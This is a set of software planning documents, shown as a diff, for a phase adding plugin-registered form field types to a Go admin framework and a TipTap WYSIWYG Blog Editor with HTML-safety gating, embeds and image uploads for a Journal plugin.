+**Date:** 2026-10-09
+**Phase:** 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+**Areas discussed:** Blog Editor: what it is, Markdown vs HTML posts, Field type contract, Libraries/media/richeditor
+
+---
+
+## Blog Editor: what it is
+
+| Option | Description | Selected |
+|--------|-------------|----------|
+| WYSIWYG + source toggle | ProseMirror/TipTap-style rich editing of HTML plus a raw HTML source tab | ✓ |
+| Block editor | Editor.js/Gutenberg blocks stored as JSON; imported HTML must be parsed into blocks | |
+| Dual mode: markdown or HTML | Source editor with preview, switching between markdown and HTML per post | |
+
+| Storage after admin save | Selected |
+|--------|----------|
+| HTML in both columns (content = HTML, content_html = HTML after CheckHTML) | ✓ |
+| Markdown in content (WYSIWYG HTML converted to markdown) | |
+| Keep source format (needs a per-post format flag) | |
+
+| Round-trip strictness | Selected |
+|--------|----------|
+| Byte-preserving unless edited; preserve unknown markup where possible; exact source tab | ✓ |
+| Normalize through the editor | |
+| Source-only for unknown markup | |
+
+**v1 features (multi):** Basic text ✓, Images ✓, Tables ✓, Embeds / raw HTML block ✓
+
+| Embeds vs the iframe gate | Selected |
+|--------|----------|
+| Allowlisted embed placeholder node; the frontend renders the iframe | ✓ |
+| Allowlist iframe hosts in CheckHTML | |
+| Raw HTML block only, gate unchanged | |
+
+| Locales | Selected |
+|--------|----------|
+| ML like today (locale switcher, locale → HTML map) | ✓ |
+| Single locale only | |
+
+---
+
+## Markdown vs HTML posts
+
+| Markdown post opened in the Blog Editor | Selected |
+|--------|----------|
+| Load content_html, save as HTML (one-way on first edit) | ✓ |
+| Bulk-convert at deploy | |
+| Per-post format flag | |
+
+| Keep mlmarkdown for Journal posts? | Selected |
+|--------|----------|
+| Blog Editor replaces it | ✓ |
+| Configurable per site | |
+
+| Public write API | Selected |
+|--------|----------|
+| Unchanged, PHP contract (markdown in, FormatHTML) | ✓ |
+| Accept HTML too | |
+
+| Admin save gate | Selected |
+|--------|----------|
+| CheckHTML refuses with 422 | ✓ |
+| Sanitize, then save (bluemonday) | |
+
+---
+
+## Field type contract
+
+| Naming | Selected |
+|--------|----------|
+| Namespaced vendor.plugin::name | |
+| Short alias, registered globally (boot fails on clash) | ✓ |
+| Custom-element tag | |
+
+| Client element loading | Selected |
+|--------|----------|
+| Globally on admin boot | ✓ |
+| Per controller, like AdminClientAssets | |
+
+**Go side owns (multi):** Option validation at boot ✓, Value decode and validate on save ✓, Load/format for form ✓, List column formatting ✓
+
+| ML types | Selected |
+|--------|----------|
+| Framework wraps any type with a translatable flag | |
+| Plugin registers an ml variant | ✓ |
+
+---
+
+## Libraries, media, richeditor
+
+| Editor library | Selected |
+|--------|----------|
+| TipTap (ProseMirror) | ✓ |
+| Bare ProseMirror | |
+| Lexical | |
+| You decide | |
+
+| Images | Selected |
+|--------|----------|
+| Upload via the Journal media route | ✓ |
+| URL only | |
+| Media library picker | |
+
+| Core richeditor todo | Selected |
+|--------|----------|
+| Reuse the Blog Editor for category content | ✓ |
+| Core cabana richeditor too | |
+| Defer category content | |
+
+| Bundle build | Selected |
+|--------|----------|
+| In sm-journal-plugin, dist committed | ✓ |
+| You decide | |
+
+| Embed rendering on the frontend | Selected |
+|--------|----------|
+| Yes, in the Phase 16 blog views layer | ✓ |
+| Admin side only | |
+
+---
+
+## Claude's Discretion
+
+- pact interface naming, element value/event contract, asset declaration shape
+- How "untouched" is detected for byte-preserving saves
+- ProseMirror schema strategy for unknown-markup preservation
+- Embed placeholder markup and provider allowlist
+- Whether release, host bump and UAT redeploy are in scope (recommended)
+- Plan count and split
+
+## Deferred Ideas
+
+- Core cabana richeditor type
+- Media library browser
+- HTML input on the public write API
+- Bulk HTML conversion command
+- Allowlisting iframe hosts in CheckHTML

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md

@@ -0,0 +1,261 @@
+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Pattern Map
+
+**Mapped:** 2026-10-09
+**Files analyzed:** 27 (4 repos)
+**Analogs found:** 25 / 27
+
+Binding post-research decisions: the editor image upload goes through a new cabana-owned route `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` that calls an optional `FormFieldType.Upload`; Journal implements it by reusing its media storage. The phase includes the 16.1-style release (summercms v0.1.17, journal/host bumps, vue-journal-layer v0.2.0 + app pin, UAT redeploy).
+
+All paths are git-tracked source in their own repos (sm-journal-plugin, vue-journal-layer and vue-grzybyfunkcjonalne-app are sibling repos; there are no `.msd/` mirror paths).
+
+## File Classification
+
+| New/Modified File | Role | Data Flow | Closest Analog | Match Quality |
+|---|---|---|---|---|
+| `modules/pact/capabilities.go` (+FormFieldType, FormFieldValue, FormFieldUpload, FieldError, HasFormFieldTypes) | model/interface | request-response | same file: `AdminAction` / `AdminActionInput` / `HasAdminActions` (lines 205-270) | exact |
+| `modules/cabana/field_type.go` (NEW registry, alias/collision, option check, Decode/Load runner, ListValue) | service | transform | `modules/cabana/extension.go` (`compileClientAssets` 253-300, `checkWidgetTag` 320-333, `compileActions` 335+) | exact |
+| `modules/cabana/field_type_upload.go` (NEW upload handler) | controller | file-I/O | `modules/cabana/field_file.go` `fileUpload`/`fileUploadOn` (684-760) | exact |
+| `modules/cabana/form_schema.go` (formFieldTypes, decodeFields/compileFieldNode take registry) | config/compile | transform | itself (lines 24-30, 466-480) | self |
+| `modules/cabana/crud.go` (save: plugin decode/skip in tx; scalarFormField) | service | CRUD | itself: ML path at 600 / 616 / 688 / 709; classifier 1224-1232 | self |
+| `modules/cabana/field_ml.go` (mlFieldType registry-aware, hydrate calls Load) | service | CRUD | itself (11-60) | self |
+| `modules/cabana/tx_context.go` (+withFieldWrites / FieldWritesFromContext) | utility | request-response | same file `withVirtualFields`/`VirtualFieldsFromContext` (36-60) | exact |
+| `modules/cabana/list_schema.go`, `http.go` `projectRow` (plugin column ListValue) | service | transform | `list_schema.go:22-24`, `http.go:1067` | self |
+| `modules/cabana/http.go` (Activate threading + route + field-types endpoint) | route | request-response | `http.go:74-121` (Activate), `:335-347` (file routes) | self |
+| `modules/cabana/admin_openapi.go` + phase09Routes test list | config | — | existing file-route entries in same file | self |
+| `modules/cabana/README.md`, `modules/pact/README.md`, `docs/backend/...` + site nav | docs | — | Phase 10.1 widget sections in same READMEs / `docs/` partials-and-widgets page | role-match |
+| `admin/src/components/form/fields/PluginField.vue` (NEW) | component | event-driven | `admin/src/components/form/fields/WidgetField.vue` | exact |
+| `admin/src/components/form/fields/MLPluginField.vue` or MLField wiring | component | event-driven | `admin/src/components/form/fields/MLMarkdownField.vue` + `MLField.vue` | exact |
+| `admin/src/components/form/registry.ts` | config | — | itself (renderers map, `valueless`, `rendererFor`) | self |
+| `admin/src/app/fieldTypes.ts` (NEW global loader) | utility | event-driven | `admin/src/app/pluginAssets.ts` | exact |
+| `admin/src/.../mlLocale.ts`, `formState.ts` | utility | transform | itself (`ML_FIELD_TYPES` line 2) | self |
+| `admin/src/api/types.ts` generated + `modules/boardwalk/dist` | config | — | `scripts/check-admin-openapi.sh`, `scripts/check-admin-dist.sh` | exact |
+| `../sm-journal-plugin/classes/blog_editor.go` (NEW FormFieldType values) | service | transform | `../sm-journal-plugin/classes/format_html.go` (CheckHTML) + `controllers/categories.go:65-82` | role-match |
+| `../sm-journal-plugin/classes/media_store.go` (NEW, extracted) | service | file-I/O | `../sm-journal-plugin/controllers/api/media.go` `UploadMedia` (22-91) | exact (extraction) |
+| `../sm-journal-plugin/controllers/posts.go` (`preparePostWrite`, FormAfter* companion) | controller hook | CRUD | itself 204-221 | self |
+| `../sm-journal-plugin/controllers/categories.go` | controller hook | CRUD | itself 60-82 (keep) | self |
+| `../sm-journal-plugin/plugin.go` / `admin.go` (register types, embed dist) | config | — | `admin.go:16-20` `//go:embed` list | exact |
+| `../sm-journal-plugin/models/post/fields.yaml:19`, `models/category/fields.yaml:28` | config | — | — (one-line type swaps) | n/a |
+| `../sm-journal-plugin/assets/src/blogeditor/*.ts`, `assets/dist/blogeditor.{js,css}` | component (custom element) | event-driven | element contract from `WidgetField.vue` header; no TipTap analog | **no analog** (use RESEARCH Pattern 4/5) |
+| `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh` | config | batch | `admin/package.json`, `scripts/check-admin-dist.sh` | exact |
+| `../vue-journal-layer/app/utils/embeds.ts` (NEW) + `PostBody.vue:11`, `CategoryHeader.vue:17` | utility | transform | `../vue-journal-layer/app/utils/htmlGate.ts` | exact |
+| Release: tag v0.1.17, journal/host go.mod bumps, layer v0.2.0 + app pin, UAT redeploy | config | batch | Phase 16.1 release plan (`.planning/phases/16.1-*/16.1-02-PLAN.md`) | exact |
+
+## Pattern Assignments
+
+### `modules/pact/capabilities.go` (interface)
+
+**Analog:** same file, `AdminAction` lines 217-270. Copy the shape: a struct of plain fields plus func fields tagged `json:"-"`, a separate `...Input` struct, a separate `...Result` struct, and a one-method `Has...` interface. Doc comments say what the framework owns versus what the func owns.
+
+```go
+type AdminAction struct {
+	Name        string
+	Label       string
+	Permissions []string
+	Run         func(ctx context.Context, in AdminActionInput) (AdminActionResult, error) `json:"-"`
+}
+...
+// HasAdminActions is implemented by an admin controller that registers named
+// actions for its toolbar.buttons list and its `type: widget` form fields.
+type HasAdminActions interface {
+	AdminActions() []AdminAction
+}
+```
+`HasFormFieldTypes` is implemented by the **plugin** (not the controller), like `HasAdminControllers` (line 183-184). `pact.FieldError{Messages []string}` replaces `cabana.ValidationError`, because pact cannot import cabana. Asset fields reuse the `AdminClientAssets` path rule documented in lines 205-210 (paths under `assets/`).
+
+---
+
+### `modules/cabana/field_type.go` (registry, boot validation)
+
+**Analog:** `modules/cabana/extension.go`
+
+**Element tag rule** (lines 49-55, 320-333). Reuse as is for `FormFieldType.Element`:
+```go
+func widgetTagPrefix(pluginID string) string {
+	return strings.NewReplacer(".", "-", "_", "-").Replace(strings.ToLower(pluginID)) + "-"
+}
+func checkWidgetTag(tag, prefix string) error {
+	if !widgetTagPattern.MatchString(tag) { ... }
+	if reservedWidgetTags[tag] { ... }
+	if !strings.HasPrefix(tag, prefix) { ... }
+	return nil
+}
+```
+
+**Asset read+hash** (lines 253-300). Extract the `read` closure into a function that takes `(pluginID, ownerLabel, fsys, files, exts...)` so controller assets and plugin field-type assets share it. The key is `vendor + "/" + plugin + "/" + strings.TrimPrefix(name, "assets/")` and the version is `digest[:12]`; errors go through `bootErr(pluginID, id, name, err)`. `checkAssetPath` (302-318) is reused unchanged.
+
+**Name uniqueness pattern**: `compileActions` (335+) builds a map and fails on duplicates or reserved names (`builtinToolbarActions`, line 47). Apply the same check to aliases against the `formFieldTypes` keys, `widget`, `partial` and other plugins' aliases. Do not use a package-level registry: build it in `Activate` (`http.go:74-121`) and pass it into `compileRegistry`.
+
+---
+
+### `modules/cabana/field_type_upload.go` (controller, file-I/O)
+
+**Analog:** `modules/cabana/field_file.go` lines 684-760, routes in `http.go:335-347`.
+
+```go
+func (s *service) fileUpload(w http.ResponseWriter, r *http.Request) {
+	s.protect(w, r, func(cc *CompiledController) { s.fileUploadOn(w, r, cc, parentFiles(cc)) })
+}
+...
+	body := &bodyReader{r: http.MaxBytesReader(w, r.Body, s.uploadCap(cf))}
+	r.Body = io.NopCloser(body)
+	mr, err := r.MultipartReader()
+	if err != nil { writeCRUDError(w, invalidBody()); return }
+	part, err := mr.NextPart()
+	...
+	err = lagoon.Transaction(r.Context(), db, func(ctx context.Context, tx *gorm.DB) error {
+		ctx = withTx(ctx, tx)
+		sc, err := fr.scope(ctx, tx, r)
+```
+Route registration follows `g.Post("/{vendor}/{plugin}/{controller}/{id}/files/{field}", requireAjax(s.fileUpload))`, so the new route is `g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload))`. Use `s.uploadBytes` for the cap, load the record through the `FormExtendQuery` scope when `id != 0`, map `pact.FieldError` to 422 on the field, and answer 201 `{data:{url}}`. Also add an entry to `admin_openapi.go` and `phase09Routes` and rerun `scripts/check-admin-openapi.sh`.
+
+---
+
+### `modules/cabana/tx_context.go` (written-values accessor)
+
+**Analog:** same file, lines 36-60:
+```go
+type virtualFieldsKey struct{}
+
+func withVirtualFields(ctx context.Context, values map[string]any) context.Context {
+	if values == nil { values = map[string]any{} }
+	return context.WithValue(ctx, virtualFieldsKey{}, values)
+}
+
+func VirtualFieldsFromContext(ctx context.Context) (map[string]any, bool) {
+	if ctx == nil { return nil, false }
+	values, ok := ctx.Value(virtualFieldsKey{}).(map[string]any)
+```
+Mirror it as `fieldWritesKey{}` / `withFieldWrites` / exported `FieldWritesFromContext(ctx) (map[string]map[string]string, bool)` (field → locale → value), returning a copy and the same "false outside a create or update save" semantics.
+
+---
+
+### `modules/cabana/crud.go` + `field_ml.go` (save and hydrate)
+
+**Analog:** the existing ML path in `save()`:
+- `crud.go:600` `translations, err := liftMLValues(ctx, cc, in.Body, op, s.writer, s.DB)` runs before the tx. Add the plugin shape check here; translatable plugin types reuse the `liftMLValues` locale-map rules (`field_ml.go` doc at 52-58).
+- `crud.go:616` `loadRecord(...)`. Insert the per-(field, locale) Load → compare → skip/Decode step right after this.
+- `crud.go:688` `applyMLTranslations(ctx, tx, s.writer, target, translations)`. Decoded non-default values join `translations`.
+- `crud.go:709` `hydrateMLRecord(...)`. Call plugin `Load` per locale here.
+- `crud.go:1224-1232`: the `scalarFormField` switch gains a registry lookup (it is used by `BindWritableFields` at 204 and `mergedRules` at 1073).
+- `field_ml.go:47-53` `mlFieldType(typ)`: becomes registry-aware (a plugin type with `Translatable: true`).
+- Error mapping: follow `lifecycleFailure` (crud.go:815-850). `pact.FieldError` becomes a 422; anything else becomes the opaque 500.
+
+### `modules/cabana/form_schema.go`
+
+The self-pattern at lines 24-30 (closed set) and 466-480 (key check before type resolution). Reorder so the type resolves first and plugin `Options` keys are checked after it, then call `CheckOptions`. `decodeFields` callers: form_schema.go:194, settings.go:74 (refuse plugin types in v1), relation_form.go:145/:246.
+
+---
+
+### `admin/src/components/form/fields/PluginField.vue` (component, event-driven)
+
+**Analog:** `admin/src/components/form/fields/WidgetField.vue`. Copy:
+- the imports block (lines 1-9: `inject`, `FORM_ASSETS`, `FORM_LOCALE`, `ExtensionFailure`, `FieldControlProps`);
+- the imperative element creation in a `mountPoint` that Vue never renders into;
+- the `status: 'loading' | 'ready' | 'failed'` ref, the `defined(tag)` wait with `timeout(ms)` (lines 50-60);
+- the header-comment rule: never give the element a token, cookie, function or Vue instance.
+
+Differences: set `el.value` (property, not attribute); listen for `summer-change` → `emit('update:modelValue', detail.value)`; handle `summer-upload` by posting through `api` (the same client as the widget action) to the field upload route, then dispatch `summer-upload-result`. Add event-name constants next to `WIDGET_EVENT`/`WIDGET_RESULT_EVENT` in `formContext.ts:86,93`.
+
+### ML variant
+
+**Analog:** `admin/src/components/form/fields/MLMarkdownField.vue` (whole file):
+```vue
+<MLField v-bind="props" :inner="MarkdownField" inner-type="markdown" ml-type="mlmarkdown"
+  @update:model-value="emit('update:modelValue', $event)" />
+```
+Use `:inner="PluginField"`, `inner-type` = the base alias, and `ml-type` = `field.type`. Let `isMLFieldType` (`mlLocale.ts:2`, `ML_FIELD_TYPES`) accept fields flagged `translatable`.
+
+### `admin/src/components/form/registry.ts`
+
+Self-pattern: `rendererFor(type)` returns `renderers.get(type) ?? lazyRenderers.get(type)?.() ?? UnsupportedField`. Change it to take the field (or check `field.element`) so plugin types fall back to `PluginField`/`MLPluginField` instead of `UnsupportedField`. `valueless` stays unchanged. Add translatable plugin types to `groupLabelledTypes` behaviour.
+
+### `admin/src/app/fieldTypes.ts` (global loader)
+
+**Analog:** `admin/src/app/pluginAssets.ts`. Reuse `assetAllowed()`, the `scripts` once-per-URL map, and the module-script loading. Unlike `activateStyles(controllerId)` (lines 105-110, which disables links whose `owner !== active`), field-type links need a reserved global owner that `activateStyles` skips (Pitfall 8). Call it once after login, from the app shell.
+
+---
+
+### `../sm-journal-plugin/classes/blog_editor.go` (Decode/Load/ListValue/Upload)
+
+**Analog (gate):** `classes/format_html.go`, `CheckHTML(doc string) error`. **Analog (422 shape and nil content):** `controllers/categories.go:65-82`:
+```go
+func prepareCategoryWrite(cat *models.Category) error {
+	if cat.Content == nil { return nil }
+	if strings.TrimSpace(*cat.Content) == "" { cat.Content = nil; return nil }
+	if err := classes.CheckHTML(*cat.Content); err != nil {
+		return &cabana.ValidationError{Details: map[string]any{"content": []string{err.Error()}}}
+	}
+	return nil
+}
+```
+In Decode, return `pact.FieldError{Messages: []string{err.Error()}}` instead of `cabana.ValidationError`. Load serves `content` if it looks like HTML, otherwise `content_html` (non-default locale through `TranslationWriter.TranslatedExact`, `field_ml.go` interface).
+
+### `../sm-journal-plugin/classes/media_store.go` (extracted storage)
+
+**Analog:** `controllers/api/media.go` `UploadMedia` lines 22-91. Extract the part after auth (lines ~42-84): the extension allowlist `jpg|jpeg|png|gif|webp`, the `mediaMaxBytes` cap, `mediaObjectPath(folder, name)`, `uniqueMediaKey`, `bucket.NewWriter` and `attach.PublicURL(...)`. Use it as a `StoreMedia(ctx, bucket, folder, filename, body) (url, path string, err error)` called by both `UploadMedia` and the `blogeditor` Upload. Validation messages ("The file must be an image." and so on) become `pact.FieldError` on the field route. The API route keeps its response shape (D-09 parity).
+
+### `../sm-journal-plugin/controllers/posts.go`
+
+Self-pattern `preparePostWrite` (204-221). The admin path drops:
+```go
+	html, err := classes.FormatHTML(post.Content)
+	...
+	post.ContentHTML = html
+```
+Replace it with `if writes, ok := cabana.FieldWritesFromContext(ctx); ok { if v, ok := writes["content"][defaultLocale]; ok { post.ContentHTML = v } }`. In `FormAfterCreate`/`FormAfterUpdate`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)` for each written non-default locale. `controllers/api/posts_helpers.go` keeps `FormatHTML`.
+
+### `../sm-journal-plugin/admin.go` / `plugin.go`
+
+The `//go:embed` list in `admin.go:16-20`, for example `//go:embed assets/images/journal-icon.svg`. Add `assets/dist/blogeditor.js assets/dist/blogeditor.css`. The plugin type implements `pact.HasFormFieldTypes`, with compile-time assertions in the style of `var ( _ pact.AdminController = categoriesAdminController{} )` (categories.go:84+).
+
+### `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh`
+
+**Analog:** `scripts/check-admin-dist.sh` (whole file): `set -euo pipefail`, `npm ci` if needed, typecheck, `vite build --outDir "$TMP/dist" --emptyOutDir`, then `diff -r "$TMP/dist" assets/dist` with a clear stale message. Copy the pins from `admin/package.json` (vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3).
+
+### `../vue-journal-layer/app/utils/embeds.ts` (transform)
+
+**Analog:** `../vue-journal-layer/app/utils/htmlGate.ts`. Same style: an exported regex constant, a header comment that names the Go source of truth, and pure string functions:
+```ts
+export const UNSAFE_TAG = /<(?:script|iframe|object|embed)\b/i
+export function gateJournalHtml(html: string | null | undefined): { safe: boolean; html: string } {
+  if (!html) return { safe: true, html: '' }
+  return isSafeJournalHtml(html) ? { safe: true, html } : { safe: false, html: '' }
+}
+```
+`expandEmbeds(html)` runs on `gated.html` after the gate, in `PostBody.vue:11` (`v-html="gated.html"`) and `CategoryHeader.vue:17` (`v-html="content.html"`).
+
+## Shared Patterns
+
+### Fail-loud boot errors
+**Source:** `modules/cabana/extension.go` `bootErr(pluginID, id, name, err)` and `compileExtension` (60+). **Apply to:** alias collisions, bad element tags, asset paths, and unknown or invalid plugin options.
+
+### Admin-route guard stack
+**Source:** `http.go:335-347` (`requireAjax(...)`) plus `s.protect(w, r, func(cc *CompiledController) {...})` (field_file.go:684). **Apply to:** the field upload route and any field-types boot endpoint.
+
+### Error to HTTP mapping
+**Source:** `crud.go:815-850` `lifecycleFailure`, `writeCRUDError`, `WriteError(w, 500, "error", msgServerError)`. **Apply to:** Decode, Load and Upload failures (`pact.FieldError` becomes a 422; anything else becomes an opaque 500).
+
+### Element credential rule and event naming
+**Source:** `WidgetField.vue` header comment and `formContext.ts:86,93` (`summer-action`/`summer-result`). **Apply to:** PluginField and the blogeditor element (`summer-change`, `summer-upload`, `summer-upload-result`).
+
+### Committed-dist drift gate
+**Source:** `scripts/check-admin-dist.sh`. **Apply to:** the admin SPA (`modules/boardwalk/dist`) and the sm-journal-plugin `assets/dist`.
+
+### Docs and README rule
+**Source:** CLAUDE.md "Documentation". **Apply to:** pact and cabana READMEs and `docs/`, using neutral `blog`/`acme` names. Verify with `go test ./cmd/summer -run TestDocsTree`.
+
+### Concurrent-session staging
+Stage by explicit path. Check `git status` and `git diff` for in-flight edits to `crud.go`, `form_schema.go` and `http.go` before committing.
+
+## No Analog Found
+
+| File | Role | Data Flow | Reason |
+|---|---|---|---|
+| `../sm-journal-plugin/assets/src/blogeditor/*` (TipTap element, schema, serializer, dirty tracking) | component | event-driven | No TipTap/ProseMirror code in any repo. Use RESEARCH Pattern 3/4/5 and Code Example 3 |
+| Server-side "served value equals submitted" skip | service | CRUD | New semantics; there is no existing compare-and-skip in `save()`. Use RESEARCH Pattern 3 |
+
+## Metadata
+
+**Analog search scope:** `modules/pact`, `modules/cabana`, `admin/src/{app,components/form}`, `scripts/`, `../sm-journal-plugin/{classes,controllers,admin.go}`, `../vue-journal-layer/app/{utils,components/Journal}`
+**Files scanned:** ~25
+**Pattern extraction date:** 2026-10-09

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md

@@ -0,0 +1,772 @@
+# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Research
+
+**Researched:** 2026-10-09
+**Domain:** Go admin framework extension API (pact/cabana), Vue admin SPA, TipTap/ProseMirror custom element, Nuxt layer HTML post-processing
+**Confidence:** HIGH for the framework integration points (read from source this session) and for TipTap's lossy behaviour (probed locally against 3.31.4). MEDIUM for the recommended editor-preservation design, which is a design proposal that no tests cover yet.
+
+<user_constraints>
+## User Constraints (from CONTEXT.md)
+
+### Locked Decisions
+
+#### Blog Editor: what it is
+- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
+- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after it passes `classes.CheckHTML`. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
+- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
+- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to `CheckHTML`.
+- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes `CheckHTML` unchanged. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
+- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
+
+#### Markdown vs HTML posts
+- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
+- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
+- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
+- **D-10:** **Admin save gate: `CheckHTML` refuses, nothing is sanitized.** Unsafe HTML returns a 422 with a field error, as category content does today, and nothing is silently rewritten. No sanitizer dependency is added. `CheckHTML` must run on every admin write path for both the default and the non-default locale values. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`).
+
+#### Field type contract (framework)
+- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
+- **D-12:** The capability is a new `pact` interface (for example `HasFormFieldTypes`). Its Go side owns four things:
+  1. **Option validation at boot**: the type's own YAML keys, fail-loud like the built-ins.
+  2. **Value decode and validation on save**: any JSON shape, with field errors returned as 422.
+  3. **Load and format for the form**: turns the stored column value into what the element receives. For the Blog Editor, a markdown post is served as its `content_html` (D-07).
+  4. **List column formatting**: for example, strip tags and truncate.
+
+  — **Reversibility:** one-way — a published plugin API in `pact`; later plugins (payment and others, per todo `cabana-plugin-registered-field-types.md`) build on it.
+- **D-13:** **The client-side element loads globally on admin boot.** A plugin declares its field-type assets once, and the SPA loads them on every admin page, so the type works in any controller's form, including other plugins' forms. The element binds a value through a documented contract instead of the widget action/fill round-trip. The todo's starting point for that contract is a `value` property plus a `summer-change` event; the planner finalizes it. The element reads only the public `--c-*` CSS variables.
+- **D-14:** **Translatable variants are registered by the plugin itself**: the plugin registers both `blogeditor` and `mlblogeditor`, mirroring the `markdown`/`mlmarkdown` pair. The planner decides how a plugin ML type plugs into cabana's existing lift/hydrate path (`field_ml.go`) and the translate adapter, so locale storage is not reimplemented per plugin.
+- **D-15:** The form schema and the generated TS types carry plugin types as a generic shape, so the SPA build does not need to know them (per the todo). The cabana README, `docs/`, the admin OpenAPI, the generated TS types and the committed `dist/` are updated in the same change (CLAUDE.md documentation rules).
+
+#### Libraries, media, category content
+- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
+- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
+- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
+- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. The existing `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` stays.
+
+### Claude's Discretion
+- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.
+- How "untouched" is detected for D-03: client-side dirty tracking versus server-side comparison with the loaded value. Either is acceptable as long as an untouched save is byte-identical.
+- The ProseMirror schema strategy for preserving unknown markup (generic passthrough nodes and marks, a global attribute preservation extension).
+- The exact embed placeholder markup and the provider allowlist (YouTube at minimum).
+- Whether a summercms tag release, the host bump and a UAT redeploy belong in this phase, following the 16.1 D-04 pattern. Recommended, because the goal is to edit imported posts on UAT.
+- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Framework work comes before the Journal work.
+- Run the security-review agent: the phase adds a plugin API to `pact`, changes HTML write paths and adds an upload path into the editor.
+
+### Folded Todos
+- **`cabana-plugin-registered-field-types.md`**: the framework half of this phase (D-11 to D-15).
+- **`cabana-richeditor-field-type.md`**: resolved by reusing the Blog Editor for category content (D-19) instead of a core type.
+- **`journal-imported-html-admin-resave.md`**: the data-loss part is fixed by D-02, D-07 and D-10. Its required test applies: re-save an imported HTML post and assert `content` and `content_html` are unchanged. If 16.1 already shipped a stopgap, this phase replaces it.
+
+### Deferred Ideas (OUT OF SCOPE)
+- **Core cabana `richeditor`/`mlricheditor` type** for plugins without their own editor. Not needed now; any plugin can register its own type or reuse one.
+- **Media library browser** for picking previously uploaded images.
+- **HTML input on the public write API** (`/_journal/api/v1/posts`). This would extend the PHP contract; the API stays markdown-in for now.
+- **Bulk HTML conversion command** (`journal:content-to-html`). Rejected in favour of convert-on-first-edit (D-07); revisit if a uniform format is ever needed.
+- **Allowlisting iframe hosts in `CheckHTML`**. Rejected in favour of placeholders (D-05).
+</user_constraints>
+
+<phase_requirements>
+## Phase Requirements
+
+No REQUIREMENTS.md IDs are mapped to this phase (ROADMAP: "Requirements: TBD"). Coverage is derived from the CONTEXT decisions and the folded todos. ADMIN-07 (Phase 10.1, complete) is the closest existing requirement; this phase extends it and must not regress it.
+
+| ID | Description | Research Support |
+|----|-------------|------------------|
+| D-01, D-04 | WYSIWYG + source toggle; text, images, tables, embeds, raw HTML block | Standard Stack (TipTap 3.31.4), Pattern 4 (editor schema), probe results in Pitfalls 1-4 |
+| D-02, D-07, D-10 | HTML in both columns; markdown post served as `content_html`; CheckHTML refuses on every locale; admin path stops running goldmark | Pattern 2 (save lifecycle), Pattern 6 (Journal integration), Pitfall 6 |
+| D-03 | Byte-identical untouched save | Pattern 3 (two-layer untouched detection), Pitfall 5 |
+| D-05, D-17 | Embed placeholder; layer expands it after the gate | Pattern 7 (embed expansion), Code Example 4 |
+| D-06, D-14 | ML variant through cabana lift/hydrate + translate adapter | Pattern 2 (`Translatable` flag), Pitfall 7 (non-default `content_html` is never written today) |
